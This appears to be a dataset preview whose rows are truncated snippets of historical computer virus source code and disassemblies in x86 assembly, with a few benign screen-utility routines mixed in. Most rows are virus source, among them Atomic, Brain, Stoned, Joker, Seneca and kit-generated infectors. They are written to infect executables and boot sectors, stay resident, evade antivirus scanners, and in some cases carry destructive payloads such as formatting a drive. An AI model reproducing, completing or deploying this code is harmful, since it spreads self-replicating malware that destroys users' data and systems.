text stringlengths 0 20k |
|---|
comment $
Atomic v1.00
This virus is a spawning, resident infector of .EXE
programs. Upon execution, Atomic will stay resident
in memory, and capture int 21h. Whenever it detects
an .EXE file being executed, it will create a .COM
file with the virus in the same directory, w... |
; Bit Addict Versie 3
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- ... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994
Xref: netcom.com alt.comp.virus:507
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Anti Monitor Virus (ANTI AV TSR)
Date: 29 Nov 1994 13:05:19 GMT
Organization: Netcom
Lines: 256
Distribution:... |
; ------------------------------------------------------------------------- ;
; Acurev v1.8 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: ;
; ... |
Aircop Virus (c)RABiD Source Code
Ripped by : The Head Hunter [FS]
Seem's this baby only work on Bare 360k Drive
System. Neat Anywayz. And it's Undetectable!
... |
dta equ offset last_byte+10
virlen equ (offset last_byte - offset start)
strlen equ (offset endstr - offset startstr)
code segment
assume cs:code,ds:code
org 100h
start: jmp main
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
pushf ; Save fla... |
tic segment
org 100h
assume cs:tic, ds:tic, es:tic
len equ offset last-100h
start: mov si,0100h
push si
mov ax,cs
add ah,10h
mov es,ax
xor di,di
mov cx,len
rep movsb
mov dx,0FE00h
... |
;============================================================================
;
;
; NAME: Win95.Altar 1.01
; OS: Windoze 95/98.
; TYPE: Parasitic resident (VxD) PE-infector.
; SIZE: Around 800 bytes.
; AUTHOR: T-2000 / Immortal Riot.
; E-MAIL: T2000_@hotmail.com
; D... |
;NAME: AMBUL3.C-M
;FILE SIZE: 00330h - 816d
;START (CS:IP): 00100h
;CODE END: 00430h
;CODE ORIGIN: 00100h
;DATE: Sun Aug 16 15:45:06 1992
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
P00100 PROC
ORG 0100h
H00100: JMP H00114 ;00100 E... |
page ,132
name V605
title V605 - The 'Anti-Pascal' Virus
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus
; Disassemb... |
page ,132
name AP529
title AP529 - The 'Anti-Pascal' Virus, version AP-529
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus, version AP-529 ... |
page ,132
name V605
title V605 - The 'Anti-Pascal' Virus
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus
; Disassemb... |
;Disassembly of the Atomic Dustbin 2A virus by Memory Lapse.
;For a byte-to-byte matchup, assemble with TASM /M2.
.model tiny
.code
org 100h
start:
db 0e9h, 02, 00 ;JMP NEAR PTR STARTVIRUS
db 'ML' ;Virus signature.
startvirus:
call get_r... |
; Bit Addict Versie 9
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
dta equ offset last_byte+10
virlen equ (offset last_byte - offset start)
strlen equ (offset endstr - offset startstr)
code segment
assume cs:code,ds:code
org 100h
start: jmp main
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
pushf ; Save fla... |
; ACME COMPANION VIRUS for Crypt Newsletter 9
;
; ACME is a fast and simple companion virus which will create a
; spawned copy of itself for EVERY .EXE file it can find in the
; current directory.
;
; ACME is ready to assemble using A86. If you recall, an earlier Crypt
; letter included an A86-only source listing. (St... |
.radix 16
.model tiny
.code
org 100h
main:
jmp start
start:
call get_pointer ;>>xref=<06106><<
get_pointer:
pop bp ; pop cs:ip of stack
sub bp,offset get_pointe... |
start:
call delta
delta:
pop bp
sub bp,offset delta
mov ax,0faceh
push ax
pop ax
cli
dec sp
dec sp
sti
pop bx
cmp bx,ax
je its_ok
mov ax,4c00h
int 21h
its_ok:
mov word ptr[bp+saved_ds],ds
push cs
push cs
pop ds
pop es
lea si,[bp+old_ip]
lea di,[bp+original_ip]
mov cx,4
rep movsw
mov ah,1ah
lea dx,[bp+ende]
int 21... |
target EQU 'T2' ; Target assembler: TASM-2.X
include srmacros.inc
; The following equates show data references outside the range of the program.
data_1e equ 4Ch
data_3e equ 34Ch
data_4e equ 34Eh
data_5e equ 413h
data_6e equ ... |
;**************************************************************************
;** ANTHRAX VIRUS **
;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. **
;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
;** ... |
;NAME: AMBUL3.C-M
;FILE SIZE: 00330h - 816d
;START (CS:IP): 00100h
;CODE END: 00430h
;CODE ORIGIN: 00100h
;DATE: Sun Aug 16 15:45:06 1992
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
P00100 PROC
ORG 0100h
H00100: JMP H00114 ;00100 E... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
dta equ 80
ftime equ offset dta + 16
fdate equ offset dta + 18
fname equ offset dta + 1E
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short... |
NAME Jo
PAGE 55,132
TITLE Jo Virus.
;
; This is Yet another virus from the ARCV, this one is called
; Joanna, it was written by Apache Warrior, ARCV President.
;
; It has Stealth features, it is a Resident infector of .COM files
; and uses the Cybertech Mutation Engine (TM) by Apache Warrior fo... |
NAME Jo
PAGE 55,132
TITLE Jo Virus.
;
; This is Yet another virus from the ARCV, this one is called
; Joanna, it was written by Apache Warrior, ARCV President.
;
; It has Stealth features, it is a Resident infector of .COM files
; and uses the Cybertech Mutation Engine (TM) by Apache Warrior fo... |
title " Joker! virus. Written by The BOOT SECTOR Infector ... "
;
; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original
; had multiple programming errors in it that kept it from replicating.
; My version is much more successful.
;
page 255,80
code segment word public 'code'
... |
; Virusname: ...and justice for all
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-29-1993
; This is an mutation of 808 virus by Skism in USA.
; Many thanks to the scratch coder of the 808 virus.
; We've tried this virus ourself, and it works just fine.
; Infects one random EXE-file ... |
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ww proc far
start:
jmp loc_2
db 12 dup (90h)
db 0CDh, 20h
loc_2:
jmp short loc_3
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h
data_8 db 'C:\Command.Com', 0
db 'C:\Autoexec.Bat', 0
db 'C:\Config.Sys', 0
db '\win'
data_12 d... |
;****************************************************************************
;
; Wild Thing Virus
;
; By Admiral Bailey - Youths Against McAfee
;
; Ahh the good old days. This is my first com infector. Oh well hope you
; learn something off it.
;
;*********************************************************************... |
PAGE 59,132
;
;
; WVIR14
;
; Created: 1-Sep-92
; Passes: 5 Analysis Options on: none
;
;
... |
;|
;| WEFLOW 1993 VIRUS BY TESLA 5
;|
;| THIS VIRUS IS BASED ON THE TRIDENT OVERWRITING VIRUS. SORRY FOR
;| LAMING AROUND, BUT IT KEEPS VARIANTS RISING. GREETINGS TO TRIDENT,
;| NUKE, PHALCON/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO...
;|
ORG 100H
MAIN: MOV AH,4EH
NOTSOC... |
comment *
Virus Name: BACTERIA
Aliases: WINSTART
V Status: New computer life form
Discovery: February, 1995
Symptoms: WINSTART.BAT files appear in C:\ and on half full floppies
Origin: USA
Eff Length: 297 Bytes
Type Code: Re - Extended HMA Memory Resident Non-infecting Bacteria
Detection Method: ... |
;****************************************************************************
; (c) Admiral Bailey and YAM.
; Name: Who Cares Effective Length: 181 bytes
; By Admiral Bailey - Youths Aganst McAfee '93
; Notes:
; While messing around trying to think up new ideas I came across
; this ide... |
;****************************************************************************
; Wild Thing ][ Virus
; (c) Admiral Bailey - YAM
; Well take a look for yourself. I forgot what this ancient piece of work
; does. :)
;****************************************************************************
code segment public '... |
PAGE 59,132
;
;
; WVIR14
;
; Created: 1-Sep-92
; Passes: 5 Analysis Options on: none
;
;
... |
; "One must crawl before one walks."
; wHaRpS Virus 1.0
; wHaRpS virus of independent virus writer FirstStrike
; For use by [Phalcon\Skism] ONLY!
; Special thanx to:
; Gheap
; Dark Angel
; Demogorgon
name wHaRpS
title
code segmen... |
virus segment public 'code'
assume cs:virus,ds:virus,es:virus
org 0
VirusSize equ VirusEnd-$
Com: call Begin
call Label2
SavedCode:
mov ax,4c00h
int 21h
org SavedCode+5h
Label2: pop si
mov di,100h
push di
movsw
movsw
movsb
ret
Begin: push ds
push es
push ax
xor ax,ax
mov ds,ax
mov ds,d... |
PAGE 59,132
;
;
; WWT-01
;
; Created: 15-Mar-91
; Passes: 5 Analysis Options on: none
;
;
data_009E_e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
wwt-01 proc far... |
; WHATSUP.ASM -- Whats Up Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Unknown User
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start lab... |
; Virus name WWT-02
; Description Attack any COM file in current directory
; Comment Don't change Date/Time, ignore ReadOnly
; Date 19 Dec 1990 15:30
; Place CICTT
;
mov dx,offset FileMask ; FileMask for any COM file
mov ah,4eh ; Find first file
mov cx,1 ; including attrib Archive
int 21h ; Call... |
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ww proc far
start:
jmp loc_2
db 12 dup (90h)
db 0CDh, 20h
loc_2:
jmp short loc_3
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h
data_8 db 'C:\Command.Com', 0
db 'C:\Autoexec.Bat', 0
db 'C:\Config.Sys', 0
db '\win'
data_12 d... |
comment *
Prion
Code by
Darkman/29A
Prion is a 313 bytes paras... |
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is insta... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ... |
;title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?
newdta db 2C dup (... |
PAGE 59,132
;
;
; VIRI
;
; Created: 7-Jan-92
;
; Disassembled by -=>Wasp<=- aka >>Night Crawler<<
; Reassemble with TASM 2.0
;
DATA_1E EQU 0
DATA_2E... |
PAGE 59,132
;
;
; POLIMER VIRUS
;
; Disassembly by >> Wasp << a.k.a. Night Crawler.
;
; Created: 5-Jan-92
; ... |
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
Main: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb si,si
mov ah,52h ; get internal list of lists
int 21h ; int 21h
lds bx,es:[bx] ; get pointer to first drive
; paramenter b... |
;
; Mad Rocker
; presents
; ******************************************
; * P A Y K I L L E R - 2 1- " EVIL " *
; ******************************************
;
; "DOS p ! WINDOWS 95 - 32- pp p
;. WIN 32 API, !" - ... |
;PHOEBE
;coded by Opic of the Codebreakers
;PHOEBE is an appending .com infector with DT via a dotdot routine
;infection criteria is met on a moday once all files that are capable of
;being infected by PHOEBE are, a payload is delivered:
;the monitor will print a message to the screen(in the French) which
;translat... |
PAGE 59,132
;
;
; PEBBLE
;
; Created: 21-Feb-92
; Passes: 5 Analysis Options on: none
;
;
data_0001e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
pebble proc far
... |
PAGE 59,132
;
;
; PART
;
; Created: 10-Aug-92
; Passes: 5 Analysis Options on: J
;
;
data_11e equ 0F42h ;*
data_13e equ 2F42h ;*
data_14e equ 3F42h ;*
data_15e equ 65C4h ;*
data_16e equ 7... |
; PEARLHBR.ASM -- Pearl Harbor Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start ... |
; Advanced Fullscreen Disassembler v2.11
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
;
; First listing: without DATA segment
;
; Segment value: 0000, length: 0200
;
BIOS_SEG SEGMENT at 0h
org 0020h
D0020 dw 0
D0022 dw 0
INTERR8 label far
org 004Ch
D004C dw 0
D004E dw 0
org 0413h
D0413 dw 0... |
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
j... |
PAGE 59,132
;
;
; VIRI
;
; Created: 7-Jan-92
;
; Disassembled by -=>Wasp<=- aka >>Night Crawler<<
; Reassemble with TASM 2.0
;
DATA_1E EQU 0
DATA_2E... |
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is insta... |
START SEGMENT
ASSUME CS:START,DS:START
MOV BX,80H
MOV CH,0
MOV CL,[BX]
DEC CX
MOV SI,OFFSET KODOK+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILEN+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILECO+100H
CALL BET
JMP FOLYT
KILEP: INT 20H
FOLYT: MOV SI,OFFSET KODOK+100H
MOV BX,OFFSET KODTB+100H
CIKL1: MOV AL,[SI]
OR A... |
;
; [Phasor] v1.0
; Written by Memory Lapse of Phalcon/Skism
;
; This is a simple memory resident, COM infector. It hides in the unused
; portion of the interrupt table starting at 0:1E0h.
;
; To Assemble:
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
;
.model tiny ;
.code ... |
.model tiny
.code
org 100h ;Where we start
over: jmp infect ;Go straight to the
;drop routine and do it
activate proc far
start: mov ah,0h ;Se... |
; VirusName : PARADISE LOST!
; Origin : Sweden
; Author : The Unforgiven
; Date : 20/12/93
; This is a "mutation", of Tormentor's .COM lession. I've modified
; some stuffs, but since I liked the .EXE infector better, I didn't
; cared too much about this one.
; Anyway, this is a non-resident current direct... |
Spyte Virus Source Code
Ripped by : The Head Hunter [FS]
Unscannable (Yet...)
;
db ff,c3,55,89,e5,a1,d4,02,05,96,00,a3,fa,ff,f0,7f,36,fc,... |
.model tiny
.code
org 100h
; I made this virus for several month ago, then I forgott it. I recently found
; it on my harddrive, and I compiled it and tried it. To my amazement it worked!
;
; Soldier BOB infects .COM and .EXE files when you execute a file. It also
; saves up to 20 files into a buffer when you... |
Comment ;)
Solar.63 virus ... Coded by Solar Designer \ BPC '96
Crypted Here->|sT'sw@ ;)
.radix 16
.model large
.stack 200
.code
.186
DummyStart:
xor ax,ax
xor cx,cx
call VirusStarter
push ds
push 0
retf
org 0B1
VirusStarter:
xor di,di
VirusStart = $-1
VirusSize = VirusEnd-VirusStart
VirusSeg = In... |
; Source code to South Houston High School virus ;
codeseg segment
assume cs:codeseg, ds:codeseg
org 100h
cr equ 13
lf equ 10
tab equ 9
start:
call encrypt_decrypt
jmp random_mutation
encrypt_val db 0
infect_file:
mov bx,handle ... |
; ------------------------------------------------------------------------------
;
; - Strm und Drang -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; ----------------------------------------------------------------------... |
PAGE 59,132
;
;
; STONE
;
; Created: 1-Jan-80
; Passes: 5 Analysis Options on: none
;
;
d_0000_004C_e equ 4Ch
d_0000_004E_e equ 4Eh
main_ram_size_ equ 413h
timer_low_ equ 46Ch
d_0000_7C00_e equ 7C... |
System Lock Virus Source.
Ripped by : The Head Hunter [FS]
I don't know what it do, and don't wanna know
for sure... One thing... It does it.
;
Main: JMP Jmp0
db 02,00,00,00,02,00,00,00,00,00,00,00... |
PAGE 60,132
;
;
; STONED2
;
; Created: 1-Jan-80
;
;
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
PUSH SI
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int21h: STI
cmp ah,4bh
jz mm
jmp int1hh
mm: pushf
PUSH AX
... |
; SOM.asm : [Argent] by Abraxas
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
... |
; soitgoes.asm : [So it goes.]
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0AC3Ch
INFECT equ 1
code segment
org 100h
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
... |
; Silence of The Lambs v1.0
; (c) The Chronomancer of Demoralized Youth 1992
;
; First version : Thursday 27th of Febuary - 01:50 CET.
;
org 100h
jmp short dummy1
db 'DY'
dummy1:
mov cx,(100h-80h)/2 ;save command line on stack
... |
; target.asm : [Skeleton] by Deke
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP... |
535 virus:
11E3:0100 E90404 JMP 0507
11E3:0103 49 DEC CX
11E3:0104 60 DB 60
11E3:0105 6D DB 6D
11E3:0106 2035 AND [DI],DH
11E3:0108 3335 XOR SI,[DI]
11E3:010A 205649 AND [BP+49],DL
11E3:010D 52 PUSH DX
11E3:010E 55 PUSH BP
11E3:010F 53 PUSH BX
11E3:0110 210D AND [DI],CX
11E3:0112 0A24 OR AH,[SI]
11E3:0114 00... |
;
; Subconsious virus, written by Conzouler 1995.
;
; This virus is based on RSV.208.
;
; Effect:
; Flashes a text on line 4 on the screen.
; The text is drawn once on the screen with
; raster beam syncronisation. The after-
; glow can make the text visible for a longer
; period, especially when using black bac... |
.model tiny
.code
.radix 16
.code
; Phalcon/Skism _Small virus
; Written by Dark Angel of Phalcon/Skism
; 278 byte generic COM/EXE infector
EXE_ID = -40
viruslength = heap - _small
startload = 90 * 4
_small:
call ... |
PAGE 59,132
;
;
; SIMPSON
;
; Created: 4-Dec-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 2Eh
data_10e equ 39Ah ;*
data_11e equ 39Ch ;*
data_12e equ 39Eh ;*
data_13e equ 3A0h ... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
mov ax,0
mov ds,ax
mov word ptr [312h],si
push cs
pop ds
push cs
pop es
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int20h: mov ah,00h
j... |
;Stella v1.0
;coded by Opic [Codebreakers],1998
;type:overwriting
;encryption:yes, XOR
;anti-AV: yes, anti-heuristics
;directory transversal:yes, dotdot rutine
;restore file date/time stamps:yes
;also does NOT infect command.com
;rate of infection:4 files per run
;stealth:no
;polymorphic:no
;compiled with a86
;siz... |
TITLE scrn3.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 17, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
SCRN STRUC ; screen data structure - defined in video.h
off dw 0 ; offset (cursor position)
seg dw 0 ; screen buffer address
port dw 0 ; status port a... |
;
;
; V I R U S P R O T O T Y P E
;
; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd
; Date : 25 Jan 1991 21:05
; Function : Found DOS stack in put himself in it. Then trace DOS
; function EXEC and type 'Infect File' ... |
; Resident program to provide flicker-free write_tty scroll for Color
; Graphics Adapter clones with dual-ported memory. M. Abrash 5/3/86.
; Make runnable with MASM-LINK-EXE2BIN.
cseg segment
assume cs:cseg
org 100h ;necessary for COM file
start proc near
jmp makeres
old_int10 dd ?
; front end routine for BIOS vid... |
; sarah.asm : {Sarah} by Gehenna
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file sarah.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 0 ; For easy calculation of ... |
; Senast ndrad 891213.
;
; Lgger gamla bootsectorn p sida 1, spr 0, sector 3.
; sida 0, spr 0, sector 7 p HD.
Code Segment
Assume cs:Code
Org 0000h
Main Proc Far
db 0EAh,05h,00h,0C0h,07h
jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h
; Variabler
Old13h dd 0 ; Gamla vec... |
; ------------------------------------------------------------------------------
;
; - Stioxyl -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; ---------------------------------------------------------------------------... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
push cs
pop ds
push cs
pop es
MOV WORD PTR [LenF],SI
cld
mov di,100h
mov cx,5
rep movsb
jmp ding1
int21h: STI
cmp ah,... |
; --
; SimpleX-ce - coded by irogen --=SiAC=--
; --
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; I just wrote this to use as a starting point for new virii - use it
; as you wish. It's a short and sweet, yet fully functional infector
; with the standard characteristics, no less, no more... |
TITLE scrn4.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 19, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
DGROUP GROUP _DATA
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING
_TEXT SEGMENT BYTE PUBLIC 'CODE'
;--------------------------------... |
; [SCRUNCH] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encrypti... |
TITLE scrn2.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 15, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
SCRN STRUC ; screen data structure - defined in video.h
off dw 0 ; offset (cursor position)
seg dw 0 ; screen buffer address
port dw 0 ; status port... |
; Survive a warm reboot on a XT.
;
; Compile under Turbo Assembler 2.5
; This program works on a generic IBM PC/XT
.model tiny
.radix 16
.code
org 100
start:
jmp init
handler:
push ds
push ax
xor ax,ax
mov ds,ax
... |
; ------------------------------------------------------------------------- ;
; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `--------------------------------------| Size : 484 bytes ;
; ... |
;ް
; ް
; METRiC BUTTLOAD of CODE GENERATOR ް
; Copyright(c) 1994 - MBC - Ver. 0.91b ް
; ް
;ް
.MODEL TINY
.CODE
ORG 100H
ENTRY_POINT: DB 0E9H,0,0
DECRYPT:
MOV BP,(OFFSET HEAP - OFFSET ST... |
;
; The Slim-Line 1 virus, from the Slim-line virus strain.
; (C) 1993 by [DRkRY]/TridenT
;
; This one's a dumb overwriting virus, as small as possible,
; return to DOS and work with all dos versions. (no SI=100h tricks ect.)
;
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
... |
;===================;
; Sexy virus ;
;===================;
; Made by Super/29A ;
;===================;
;===================================================================
.386p
locals
jumps
.model flat,STDCALL
L equ <LARGE>
;-------------------------------------------------------------------
VxDCall m... |
;****************************************************************************
; Seneca Virus
;
; Written by Admiral Bailey - Youths Against McAfee
; Notes :
; Non resident exe overwriting infector. Goes on on november 25.
; At that time it formats the current drive. And it changes
; directories whil... |
;Sysinf.asm????
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw off... |
>>> Article From Evolution #2 - YAM '92
Article Title: The Smurf Virus
Author: Admiral Bailey
;---
; The Smurf virus [40 Bytes Long]
;
; Author : Admiral Bailey [YAM '92]
; Date : June 6 1992
; Language : Assembly [TASM 2.0]
;
; Notes:The Smurf virus was my first attempt at writing the smallest
; overwri... |
;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected at this location
; ds:[0feh] = filename of file to infect
;
.model tiny
.code
org 100h ; ori... |
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